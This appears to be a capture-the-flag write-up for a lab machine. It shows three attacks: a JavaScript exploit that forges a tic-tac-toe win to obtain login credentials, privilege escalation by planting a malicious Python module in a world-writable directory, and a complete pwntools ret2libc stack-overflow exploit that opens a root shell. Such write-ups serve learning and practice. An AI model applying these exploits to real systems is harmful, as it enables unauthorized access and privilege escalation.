Enumeration

Web

Port 8080 hosts a tic-tac-toe game that only reveals the next move after a win.

Code Audit

The program fetches initial session information via the /init endpoint and initializes the client-side WebAssembly (Wasm) state machine.

// Fetch Session ID and random seed
const resp = await fetch("/init");
const data = await resp.json();
sessionID = data.session_id;

// Initialize state
initGame(sessionID, data.seed);

Every move (whether by player or AI) synchronously updates the cryptographic proof within the Wasm module. This is the key point to bypass the logic.

// Every move calls a Wasm function to update the proof
moves.push(index);
updateProof(index, moves.length - 1);

updateProof is exposed in the global scope, and the proof it generates depends only on index (position) and moves.length (move count). This means the game process can be manually simulated.

When a player victory is determined, the frontend extracts the current cryptographic proof and requests the Flag from the server.

async function handleWin() {
    // Extract the final proof string generated by Wasm
    const proof = getCurrentProof();  // Key data for winning
    
    // Send verification request to backend
    const resp = await fetch("/win", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
            session_id: sessionID,
            moves: moves, // Array of moves
            proof: proof  // Critical cryptographic credential
        })
    });
}

Exploitation

const fakeMoves =[0,2,3,4,6]; 
moves = [];  // Global move count
fakeMoves.forEach((move, index) => {
    moves.push(move);
    updateProof(move, index); // Update proof function
});
fetch("/win", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ 
        session_id: sessionID, 
        moves: moves, 
        proof: getCurrentProof()
    })
}).then(r => r.json()).then(console.log);

flag: "ttt:1q2w3e4r@Dashazi"

User

ttt@ezAI2:~$ sudo -l
Matching Defaults entries for ttt on ezAI2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ttt may run the following commands on ezAI2:
    (yolo) NOPASSWD: /usr/bin/python3 /opt/greeting.py  // Key point

Audit code: /opt/greeting.py

The script imports standard library modules at the beginning: import datetime and import random.

Python by default starts searching for modules from the current folder.

Executing ls -ld /opt/ reveals that the directory permissions are drwxrwxrwt (777 with sticky bit).

Exploitation

# 1. Construct a malicious module to inject a reverse or interactive shell
echo 'import os; os.system("/bin/bash")' > /opt/random.py

# 2. Trigger the sudo command
sudo -u yolo /usr/bin/python3 /opt/greeting.py

Root

yolo@ezAI2:~$ checksec waityou
[*] '/home/yolo/waityou'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

AI Explanation:

• NX (No-Execute, Non-executable memory): Enabled (means shellcode cannot be executed directly on the stack).
• PIE (Position Independent Executable): Disabled (program function addresses like 0x400000 are fixed).
• Canary (Stack Canary / Protection Value): Not found (a simple stack overflow is possible).
• ASLR (Address Space Layout Randomization): Enabled system-wide (libc library addresses randomize on each run).

Reverse Engineering

Decompiling with Ghidra reveals a classic Stack Buffer Overflow in vuln:

• Code snippet: read(0, local_48, 0x100); in vuln.
• Analysis: The variable local_48 (type undefined1 local_48 [64]) only allocates 64 bytes, but the read function allows reading 256 bytes (0x100).

Offset calculation: • Buffer size: 64 bytes. • Saved RBP (Register Base Pointer) size: 8 bytes. • Padding: 64 + 8 = 72 bytes. Starting from the 73rd byte allows overwriting RIP (Return Instruction Pointer).

Attack vector: Ret2libc (Return to C Standard Library)

Since NX is enabled and the binary lacks a /bin/sh string, a two-stage attack is used.

Stage 1: Leak Libc Base Address

Use the puts function to print its own real address in the GOT (Global Offset Table).

Payload structure: Padding(72) + POP_RDI_RET + PUTS_GOT + PUTS_PLT + VULN_ADDR.

Stage 2: Obtain Root Shell

Payload structure: Padding(72) + RET (for stack alignment) + POP_RDI_RET + BINSH_ADDR + SYSTEM_ADDR.

POC

Instructed AI and debugged to obtain the following POC

from pwn import * # Import Pwntools library

# 1. Set target and environment
p = remote('127.0.0.1', 9999) 
elf = ELF('./waityou')        
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 

# Manually found ROP gadgets
pop_rdi = 0x00401246
ret = 0x00401247

# Extract required function addresses
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.symbols['vuln']

# ==================== Stage 1: Leak libc base address ====================
log.info("--- Stage 1: Leaking libc base address ---")

# Padding is 72 bytes
payload1 = b"A" * 72
payload1 += p64(ret)        # Add ret for 16-byte stack alignment, ensuring puts doesn't crash
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)   
payload1 += p64(puts_plt)   
payload1 += p64(vuln_addr)  

p.recvuntil(b"Enter Access Code: ")
p.sendline(payload1)


leak_raw = p.recvline(drop=True) 
puts_real_addr = u64(leak_raw.ljust(8, b'\x00')) 
log.success(f"Successfully leaked puts real memory address: {hex(puts_real_addr)}")


# ==================== Stage 2: Calculate offset and get shell ====================
log.info("--- Stage 2: Calculating and exploiting ---")

libc.address = puts_real_addr - libc.symbols['puts']
log.success(f"Successfully bypassed ASLR, calculated libc base address: {hex(libc.address)}")

system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
log.success(f"Locked real system address: {hex(system_addr)}")
log.success(f"Locked real /bin/sh address: {hex(binsh_addr)}")

# Construct the final payload
payload2 = b"A" * 72        # Also changed to 72 bytes
payload2 += p64(ret)        
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr) 
payload2 += p64(system_addr)

p.recvuntil(b"Enter Access Code: ")
p.sendline(payload2)

log.success("Final payload sent, enabling interactive mode...")
p.interactive()